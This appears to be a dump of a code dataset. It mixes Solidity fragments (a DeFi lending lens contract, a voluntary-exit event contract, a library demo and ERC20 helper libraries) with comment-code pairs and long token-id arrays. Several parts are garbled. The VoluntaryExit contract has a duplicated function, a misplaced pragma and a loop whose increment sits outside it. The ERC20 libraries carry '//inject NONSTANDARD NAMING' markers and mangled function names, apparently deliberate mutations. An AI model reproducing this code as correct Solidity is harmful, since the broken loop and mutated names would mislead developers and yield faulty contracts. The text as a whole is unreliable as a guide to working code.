bool borrowPaused;
uint256 supplyCap;
uint256 borrowCap;
uint256 supplyJoeRewardsPerSecond;
uint256 borrowJoeRewardsPerSecond;
uint256 supplyAvaxRewardsPerSecond;
uint256 borrowAvaxRewardsPerSecond;
}
function gTokenMetadataAll(GToken[] calldata gTokens) external returns (GTokenMetadata[] memory) {
uint256 gTokenCount = gTokens.length;
require(gTokenCount > 0, "invalid input");
GTokenMetadata[] memory res = new GTokenMetadata[](gTokenCount);
Gtroller gTroller = Gtroller(address(gTokens[0].gTroller()));
PriceOracle priceOracle = gTroller.oracle();
for (uint256 i = 0; i < gTokenCount; i++) {
require(address(gTroller) == address(gTokens[i].gTroller()), "mismatch gTroller");
res[i] = gTokenMetadataInternal(gTokens[i], gTroller, priceOracle);
}
return res;
}
function gTokenMetadata(GToken gToken) public returns (GTokenMetadata memory) {
Gtroller gTroller = Gtroller(address(gToken.gTroller()));
PriceOracle priceOracle = gTroller.oracle();
return gTokenMetadataInternal(gToken, gTroller, priceOracle);
}
function gTokenMetadataInternal(
GToken gToken,
Gtroller gTroller,
PriceOracle priceOracle
) internal returns (GTokenMetadata memory) {
(bool isListed, uint256 collateralFactorMantissa, GtrollerV1Storage.Version version) = gTroller.markets(
address(gToken)
);
address underlyingAssetAddress;
uint256 underlyingDecimals;
uint256 collateralCap;
uint256 totalCollateralTokens;
if (compareStrings(gToken.symbol(), nativeSymbol)) {
underlyingAssetAddress = address(0);
underlyingDecimals = 18;
} else {
GXrc20 jErc20 = GXrc20(address(gToken));
underlyingAssetAddress = jErc20.underlying();
underlyingDecimals = EIP20Interface(jErc20.underlying()).decimals();
}
if (version == GtrollerV1Storage.Version.COLLATERALCAP) {
collateralCap = GCollateralCapXrc20Interface(address(gToken)).collateralCap();
totalCollateralTokens = GCollateralCapXrc20Interface(address(gToken)).totalCollateralTokens();
}
IRewardLens.MarketRewards memory gTokenRewards = IRewardLens(rewardLensAddress).allMarketRewards(
address(gToken)
);
return
GTokenMetadata({
gToken: address(gToken),
exchangeRateCurrent: gToken.exchangeRateCurrent(),
supplyRatePerSecond: gToken.supplyRatePerSecond(),
borrowRatePerSecond: gToken.borrowRatePerSecond(),
reserveFactorMantissa: gToken.reserveFactorMantissa(),
totalBorrows: gToken.totalBorrows(),
totalReserves: gToken.totalReserves(),
totalSupply: gToken.totalSupply(),
totalCash: gToken.getCash(),
totalCollateralTokens: totalCollateralTokens,
isListed: isListed,
collateralFactorMantissa: collateralFactorMantissa,
underlyingAssetAddress: underlyingAssetAddress,
gTokenDecimals: gToken.decimals(),
underlyingDecimals: underlyingDecimals,
version: version,
collateralCap: collateralCap,
underlyingPrice: priceOracle.getUnderlyingPrice(gToken),
supplyPaused: gTroller.mintGuardianPaused(address(gToken)),
borrowPaused: gTroller.borrowGuardianPaused(address(gToken)),
supplyCap: gTroller.supplyCaps(address(gToken)),
borrowCap: gTroller.borrowCaps(address(gToken)),
supplyJoeRewardsPerSecond: gTokenRewards.supplyRewardsJoePerSec,
borrowJoeRewardsPerSecond: gTokenRewards.borrowRewardsJoePerSec,
supplyAvaxRewardsPerSecond: gTokenRewards.supplyRewardsAvaxPerSec,
borrowAvaxRewardsPerSecond: gTokenRewards.borrowRewardsAvaxPerSec
});
}
/*** Account GToken info functions ***/
struct GTokenBalances {
address gToken;
uint256 gTokenBalance; // Same as collateral balance - the number of gTokens held
uint256 balanceOfUnderlyingCurrent; // Balance of underlying asset supplied by. Accrue interest is not called.
uint256 supplyValueUSD;
uint256 collateralValueUSD; // This is supplyValueUSD multiplied by collateral factor
uint256 borrowBalanceCurrent; // Borrow balance without accruing interest
uint256 borrowValueUSD;
uint256 underlyingTokenBalance; // Underlying balance current held in user's wallet
uint256 underlyingTokenAllowance;
bool collateralEnabled;
}
function gTokenBalancesAll(GToken[] memory gTokens, address account) public returns (GTokenBalances[] memory) {
uint256 gTokenCount = gTokens.length;
GTokenBalances[] memory res = new GTokenBalances[](gTokenCount);
for (uint256 i = 0; i < gTokenCount; i++) {
res[i] = gTokenBalances(gTokens[i], account);
}
return res;
}
function gTokenBalances(GToken gToken, address account) public returns (GTokenBalances memory) {
GTokenBalances memory vars;
Gtroller gTroller = Gtroller(address(gToken.gTroller()));
vars.gToken = address(gToken);
vars.collateralEnabled = gTroller.checkMembership(account, gToken);
if (compareStrings(gToken.symbol(), nativeSymbol)) {
vars.underlyingTokenBalance = account.balance;
vars.underlyingTokenAllowance = account.balance;
} else {
GXrc20 jErc20 = GXrc20(address(gToken));
EIP20Interface underlying = EIP20Interface(jErc20.underlying());
vars.underlyingTokenBalance = underlying.balanceOf(account);
vars.underlyingTokenAllowance = underlying.allowance(account, address(gToken));
}
vars.gTokenBalance = gToken.balanceOf(account);
vars.borrowBalanceCurrent = gToken.borrowBalanceCurrent(account);
vars.balanceOfUnderlyingCurrent = gToken.balanceOfUnderlying(account);
PriceOracle priceOracle = gTroller.oracle();
uint256 underlyingPrice = priceOracle.getUnderlyingPrice(gToken);
(, uint256 collateralFactorMantissa, ) = gTroller.markets(address(gToken));
Exp memory supplyValueInUnderlying = Exp({mantissa: vars.balanceOfUnderlyingCurrent});
vars.supplyValueUSD = mul_ScalarTruncate(supplyValueInUnderlying, underlyingPrice);
Exp memory collateralFactor = Exp({mantissa: collateralFactorMantissa});
vars.collateralValueUSD = mul_ScalarTruncate(collateralFactor, vars.supplyValueUSD);
Exp memory borrowBalance = Exp({mantissa: vars.borrowBalanceCurrent});
vars.borrowValueUSD = mul_ScalarTruncate(borrowBalance, underlyingPrice);
return vars;
}
struct AccountLimits {
GToken[] markets;
uint256 liquidity;
uint256 shortfall;
uint256 totalCollateralValueUSD;
uint256 totalBorrowValueUSD;
uint256 healthFactor;
}
function getAccountLimits(Gtroller gTroller, address account) public returns (AccountLimits memory) {
AccountLimits memory vars;
uint256 errorCode;
(errorCode, vars.liquidity, vars.shortfall) = gTroller.getAccountLiquidity(account);
require(errorCode == 0, "Can't get account liquidity");
vars.markets = gTroller.getAssetsIn(account);
GTokenBalances[] memory gTokenBalancesList = gTokenBalancesAll(vars.markets, account);
for (uint256 i = 0; i < gTokenBalancesList.length; i++) {
vars.totalCollateralValueUSD = add_(vars.totalCollateralValueUSD, gTokenBalancesList[i].collateralValueUSD);
vars.totalBorrowValueUSD = add_(vars.totalBorrowValueUSD, gTokenBalancesList[i].borrowValueUSD);
}
Exp memory totalBorrows = Exp({mantissa: vars.totalBorrowValueUSD});
vars.healthFactor = vars.totalCollateralValueUSD == 0 ? 0 : vars.totalBorrowValueUSD > 0
? div_(vars.totalCollateralValueUSD, totalBorrows)
: 100;
return vars;
}
function getClaimableRewards(
uint8 rewardType,
address gTroller,
address joe,
address payable account
) external returns (uint256) {
require(rewardType <= 1, "rewardType is invalid");
if (rewardType == 0) {
uint256 balanceBefore = EIP20Interface(joe).balanceOf(account);
Gtroller(gTroller).claimReward(0, account);
uint256 balanceAfter = EIP20Interface(joe).balanceOf(account);
return sub_(balanceAfter, balanceBefore);
} else if (rewardType == 1) {
uint256 balanceBefore = account.balance;
Gtroller(gTroller).claimReward(1, account);
uint256 balanceAfter = account.balance;
return sub_(balanceAfter, balanceBefore);
}
}
function compareStrings(string memory a, string memory b) internal pure returns (bool) {
return (keccak256(abi.encodePacked((a))) == keccak256(abi.encodePacked((b))));
}
}
| Balance of underlying asset supplied by. Accrue interest is not called.
| uint256 balanceOfUnderlyingCurrent; | 1,754,535 | [
1,
13937,
434,
6808,
3310,
4580,
635,
18,
15980,
86,
344,
16513,
353,
486,
2566,
18,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
3639,
2254,
5034,
11013,
951,
14655,
6291,
3935,
31,
225,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/5/0xE950cd6A5d114BF8cC87Cb15495e8A58dc44A864/sources/project:/contracts/VoluntaryExit.sol | @title Contract enables any address to emit an event on-chain to request a "Voluntary Exit" of a validator. | contract VoluntaryExit {
event VoluntaryExitRequested(bytes pubkey);
pragma solidity ^0.8.0;
function requestVoluntaryExit(bytes[] calldata pubkeys) external {
for (uint256 i; i < pubkeys.length;) {
emit VoluntaryExitRequested(pubkeys[i]);
}
}
function requestVoluntaryExit(bytes[] calldata pubkeys) external {
for (uint256 i; i < pubkeys.length;) {
emit VoluntaryExitRequested(pubkeys[i]);
}
}
unchecked{++i;}
} | 1,851,623 | [
1,
8924,
19808,
1281,
1758,
358,
3626,
392,
871,
603,
17,
5639,
358,
590,
279,
315,
17431,
10032,
814,
9500,
6,
434,
279,
4213,
18,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
16351,
26861,
10032,
814,
6767,
288,
203,
565,
871,
26861,
10032,
814,
6767,
11244,
12,
3890,
15649,
1769,
203,
203,
683,
9454,
18035,
560,
3602,
20,
18,
28,
18,
20,
31,
203,
565,
445,
590,
17431,
10032,
814,
6767,
12,
3890,
8526,
745,
892,
5634,
2452,
13,
3903,
288,
203,
3639,
364,
261,
11890,
5034,
277,
31,
277,
411,
5634,
2452,
18,
2469,
30943,
288,
203,
5411,
3626,
26861,
10032,
814,
6767,
11244,
12,
10174,
2452,
63,
77,
19226,
203,
3639,
289,
203,
565,
289,
203,
565,
445,
590,
17431,
10032,
814,
6767,
12,
3890,
8526,
745,
892,
5634,
2452,
13,
3903,
288,
203,
3639,
364,
261,
11890,
5034,
277,
31,
277,
411,
5634,
2452,
18,
2469,
30943,
288,
203,
5411,
3626,
26861,
10032,
814,
6767,
11244,
12,
10174,
2452,
63,
77,
19226,
203,
3639,
289,
203,
565,
289,
203,
5411,
22893,
95,
9904,
77,
31,
97,
203,
97,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
/// @title LibraryDemo: A demo contract showcasing the use of libraries in solidity
/// @author John McCrae
/// @notice This contract may be evaluated at https://remix.ethereum.org
/// @dev This contract requires solidity compiler version 0.5 or higher.
pragma solidity ^0.5.0;
/// @dev **Please delete the four lines indicated prior to evlaution. // **DELETE THIS LINE**
contract DeleteMe {constructor() public {}} // **DELETE THIS LINE**
/* // **DELETE THIS LINE**
/// @dev This contract utilizes ABIEncoderV2 (Supported in Remix)
pragma experimental ABIEncoderV2;
/// @dev Demo: A library for calculating the total stock value of a product in the store
library Demo {
/// @param productName A string data type to keep track of store product names
/// @param totalUnits A uint data type to keep track of total store product units
/// @param unitPrice A uint data type to keep track of store product unit prices
/// @param forSale A uint data type to keep track of whether store product is for sale
/// @param buyersAcc A uint data type to keep track of total product units held within the buyers account
struct Products
{
string productName;
uint totalUnits;
uint unitPrice;
bool forSale;
uint buyersAcc;
}
/// @dev calcStockValueUsingLib() A function to calculate and return the stock value of a product
/// @param _storeProd A Products data type from the calling contract containing the struct product data
/// @return _stockProduct, stockValue
function _calcStockValueUsingLib (Products memory _storeProd)
public
pure
returns (string memory _stockProduct, uint _stockValue)
{
string memory stockProduct = _storeProd.productName;
uint stockValue = _storeProd.totalUnits * _storeProd.unitPrice;
return (stockProduct, stockValue);
}
}
/// @dev LibraryDemo: A contract for interacting with the Demo library
contract LibraryDemo {
/// @param storeProd A Demo.Products data type to keep track of store product data
Demo.Products storeProd;
/// @dev Declaration to use the Demo library for the Demo.Products data type
using Demo for Demo.Products;
/// @dev clearProducts() A function to allowing clearing of data in the storeProd struct
/// @return true
function clearProducts ()
public
returns (bool)
{
storeProd.productName = "";
storeProd.totalUnits = 0;
storeProd.unitPrice = 0;
storeProd.forSale = false;
storeProd.buyersAcc = 0;
return true;
}
/// @dev writeProducts() A function to allow inputting new data into the storeProd struct
/// @return true
function writeToProducts (string memory _productName, uint _totalUnits, uint _unitPrice, bool _forSale, uint _buyersAcc)
public
returns (bool)
{
storeProd.productName = _productName;
storeProd.totalUnits = _totalUnits;
storeProd.unitPrice = _unitPrice;
storeProd.forSale = _forSale;
storeProd.buyersAcc = _buyersAcc;
return true;
}
/// @dev readProducts() A function to allow reading of data in the storeProd struct
/// @return storeProd.productName, storeProd.totalUnits, storeProd.unitPrice, storeProd.forSale, storeProd.buyersAcc
function readProducts ()
public
view
returns (string memory _productName, uint _totalUnits, uint _unitPrice, bool _forSale, uint _buyersAcc)
{
return(storeProd.productName, storeProd.totalUnits, storeProd.unitPrice, storeProd.forSale, storeProd.buyersAcc);
}
/// @dev calcStockValueUsingLibrary() A function that calls the assocaited library function to get the stock value
/// @return storeProd._calcStockValueUsingLib()
function calcStockValueUsingLibrary ()
public
view
returns (string memory _stockProduct, uint _stockValue)
{
return storeProd._calcStockValueUsingLib();
}
}
*/ // **DELETE THIS LINE**
| @dev calcStockValueUsingLibrary() A function that calls the assocaited library function to get the stock value @return storeProd._calcStockValueUsingLib() | function calcStockValueUsingLibrary ()
public
view
returns (string memory _stockProduct, uint _stockValue)
{
return storeProd._calcStockValueUsingLib();
}
| 5,499,104 | [
1,
12448,
17821,
620,
7736,
9313,
1435,
432,
445,
716,
4097,
326,
7191,
1540,
329,
5313,
445,
358,
336,
326,
12480,
460,
327,
1707,
30683,
6315,
12448,
17821,
620,
7736,
5664,
1435,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
7029,
17821,
620,
7736,
9313,
1832,
203,
3639,
1071,
203,
3639,
1476,
203,
3639,
1135,
261,
1080,
3778,
389,
15381,
4133,
16,
2254,
389,
15381,
620,
13,
203,
565,
288,
203,
3639,
327,
1707,
30683,
6315,
12448,
17821,
620,
7736,
5664,
5621,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
interface IERC20 {
function TOTALSUPPLY267() external view returns (uint256); //inject NONSTANDARD NAMING
function BALANCEOF771(address account) external view returns (uint256); //inject NONSTANDARD NAMING
function TRANSFER36(address recipient, uint256 amount) external returns (bool); //inject NONSTANDARD NAMING
function ALLOWANCE520(address owner, address spender) external view returns (uint256); //inject NONSTANDARD NAMING
function APPROVE275(address spender, uint256 amount) external returns (bool); //inject NONSTANDARD NAMING
function TRANSFERFROM54(address sender, address recipient, uint256 amount) external returns (bool); //inject NONSTANDARD NAMING
event TRANSFER513(address indexed from, address indexed to, uint256 value); //inject NONSTANDARD NAMING
event APPROVAL255(address indexed owner, address indexed spender, uint256 value); //inject NONSTANDARD NAMING
}
library SafeMath {
function ADD260(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function SUB684(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING
return SUB684(a, b, "SafeMath: subtraction overflow");
}
function SUB684(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { //inject NONSTANDARD NAMING
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function MUL872(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function DIV551(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING
return DIV551(a, b, "SafeMath: division by zero");
}
function DIV551(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { //inject NONSTANDARD NAMING
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function MOD699(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING
return MOD699(a, b, "SafeMath: modulo by zero");
}
function MOD699(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { //inject NONSTANDARD NAMING
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function ISCONTRACT292(address account) internal view returns (bool) { //inject NONSTANDARD NAMING
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function SENDVALUE986(address payable recipient, uint256 amount) internal { //inject NONSTANDARD NAMING
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function FUNCTIONCALL437(address target, bytes memory data) internal returns (bytes memory) { //inject NONSTANDARD NAMING
return FUNCTIONCALL437(target, data, "Address: low-level call failed");
}
function FUNCTIONCALL437(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { //inject NONSTANDARD NAMING
return _FUNCTIONCALLWITHVALUE654(target, data, 0, errorMessage);
}
function FUNCTIONCALLWITHVALUE142(address target, bytes memory data, uint256 value) internal returns (bytes memory) { //inject NONSTANDARD NAMING
return FUNCTIONCALLWITHVALUE142(target, data, value, "Address: low-level call with value failed");
}
function FUNCTIONCALLWITHVALUE142(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { //inject NONSTANDARD NAMING
require(address(this).balance >= value, "Address: insufficient balance for call");
return _FUNCTIONCALLWITHVALUE654(target, data, value, errorMessage);
}
function _FUNCTIONCALLWITHVALUE654(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { //inject NONSTANDARD NAMING
require(ISCONTRACT292(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function SAFETRANSFER627(IERC20 token, address to, uint256 value) internal { //inject NONSTANDARD NAMING
_CALLOPTIONALRETURN808(token, abi.encodeWithSelector(token.TRANSFER36.selector, to, value));
}
function SAFETRANSFERFROM565(IERC20 token, address from, address to, uint256 value) internal { //inject NONSTANDARD NAMING
_CALLOPTIONALRETURN808(token, abi.encodeWithSelector(token.TRANSFERFROM54.selector, from, to, value));
}
function SAFEAPPROVE47(IERC20 token, address spender, uint256 value) internal { //inject NONSTANDARD NAMING
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.ALLOWANCE520(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_CALLOPTIONALRETURN808(token, abi.encodeWithSelector(token.APPROVE275.selector, spender, value));
}
function SAFEINCREASEALLOWANCE824(IERC20 token, address spender, uint256 value) internal { //inject NONSTANDARD NAMING
uint256 newAllowance = token.ALLOWANCE520(address(this), spender).ADD260(value);
_CALLOPTIONALRETURN808(token, abi.encodeWithSelector(token.APPROVE275.selector, spender, newAllowance));
}
function SAFEDECREASEALLOWANCE914(IERC20 token, address spender, uint256 value) internal { //inject NONSTANDARD NAMING
uint256 newAllowance = token.ALLOWANCE520(address(this), spender).SUB684(value, "SafeERC20: decreased allowance below zero");
_CALLOPTIONALRETURN808(token, abi.encodeWithSelector(token.APPROVE275.selector, spender, newAllowance));
}
function _CALLOPTIONALRETURN808(IERC20 token, bytes memory data) private { //inject NONSTANDARD NAMING
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).FUNCTIONCALL437(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
interface IMultiVaultStrategy {
function WANT777() external view returns (address); //inject NONSTANDARD NAMING
function DEPOSIT294() external; //inject NONSTANDARD NAMING
function WITHDRAW808(address _asset) external; //inject NONSTANDARD NAMING
function WITHDRAW808(uint _amount) external returns (uint); //inject NONSTANDARD NAMING
function WITHDRAWTOCONTROLLER653(uint _amount) external; //inject NONSTANDARD NAMING
function SKIM294() external; //inject NONSTANDARD NAMING
function HARVEST506(address _mergedStrategy) external; //inject NONSTANDARD NAMING
function WITHDRAWALL927() external returns (uint); //inject NONSTANDARD NAMING
function BALANCEOF771() external view returns (uint); //inject NONSTANDARD NAMING
function WITHDRAWFEE692(uint) external view returns (uint); // pJar: 0.5% (50/10000) //inject NONSTANDARD NAMING
}
interface IValueMultiVault {
